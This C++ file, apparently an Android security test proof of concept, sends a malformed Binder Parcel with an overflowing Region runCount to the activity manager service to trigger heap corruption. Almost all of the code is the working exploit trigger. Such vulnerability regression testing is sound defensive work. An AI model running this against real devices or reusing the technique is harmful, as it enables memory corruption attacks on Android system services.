1 /**
2  * Copyright (C) 2018 The Android Open Source Project
3  *
4  * Licensed under the Apache License, Version 2.0 (the "License");
5  * you may not use this file except in compliance with the License.
6  * You may obtain a copy of the License at
7  *
8  *      http://www.apache.org/licenses/LICENSE-2.0
9  *
10  * Unless required by applicable law or agreed to in writing, software
11  * distributed under the License is distributed on an "AS IS" BASIS,
12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13  * See the License for the specific language governing permissions and
14  * limitations under the License.
15  */
16 
17 #include <stdio.h>
18 #include <stdlib.h>
19 #include <sys/stat.h>
20 #include <sys/types.h>
21 
22 #include <binder/IServiceManager.h>
23 #include <binder/Parcel.h>
24 
25 using namespace android;
26 typedef enum TRANTYPE { HEAPSPRAY, HEAPCORRUPT, HEAPFENGSHUI } TRANTYPE;
27 
writeParcelableHead(Parcel * pData,const char * class_name)28 static void writeParcelableHead(Parcel *pData, const char *class_name) {
29   // write key
30   static int count = 1;
31   const int VAL_PARCELABLE = 4;
32   char buffer[16] = {0};
33   snprintf(buffer, 16, "%d", count);
34 
35   pData->writeString16(String16((const char *)buffer));
36   pData->writeInt32(VAL_PARCELABLE);
37   pData->writeString16(String16(class_name));
38 }
39 
writeRegion(Parcel * pData)40 void writeRegion(Parcel *pData) {
41   pData->writeInt32(100); // length of region;
42   pData->writeInt32(
43       0x3fffffff); // runCount, the allocted size will be 0x3fffffff*4+16=0xc
44   pData->writeInt32(0xf); // fBounds
45   pData->writeInt32(0xf); // YSpanCount
46   pData->writeInt32(0xf); // IntervalCount
47 
48   char buffer[100];
49   memset(buffer, 0xcc,
50          sizeof(buffer)); // this buffer will be used to corrrupt the heap
51   pData->write(buffer, sizeof(buffer));
52 }
53 
writeBundle(Parcel * pData,int type)54 static void writeBundle(Parcel *pData, int type) {
55   size_t lengthPos = pData->dataPosition();
56   pData->writeInt32(0xfffff);
57   const int BUNDLE_MAGIC = 0x4C444E42;
58   pData->writeInt32(BUNDLE_MAGIC);
59   size_t startPos = pData->dataPosition();
60 
61   if (type == HEAPCORRUPT) {
62     pData->writeInt32(1); // from writeArrayMapInternal,object numbers in bundle
63     writeParcelableHead(pData, "android.graphics.Region");
64     writeRegion(pData);
65   } else { // other than HEAPCORRUPT
66     exit(0);
67   }
68 
69   size_t endPos = pData->dataPosition();
70   // Backpatch length
71   pData->setDataPosition(lengthPos);
72   int length = endPos - startPos;
73   pData->writeInt32(length);
74   pData->setDataPosition(endPos);
75 }
76 
transact(sp<IBinder> & service,TRANTYPE type)77 static void transact(sp<IBinder> &service, TRANTYPE type) {
78   const int CONVERT_TO_TRANSLUCENT_TRANSACTION = 175;
79   Parcel data, reply;
80 
81   data.writeInterfaceToken(String16("android.app.IActivityManager"));
82   data.writeStrongBinder(service);
83   data.writeInt32(333);
84   writeBundle(&data, type);
85   service->transact(CONVERT_TO_TRANSLUCENT_TRANSACTION, data, &reply);
86 }
87 
main(int argc,char * const argv[])88 int main(__attribute__((unused)) int argc,
89          __attribute__((unused)) char *const argv[]) {
90   sp<IServiceManager> sm = defaultServiceManager();
91   sp<IBinder> service = sm->checkService(String16("activity"));
92   if (service != NULL) {
93     printf("heap corruption\n");
94     transact(service, HEAPCORRUPT);
95   } else {
96     printf("get activitymanger failed\n");
97   }
98   return 0;
99 }
100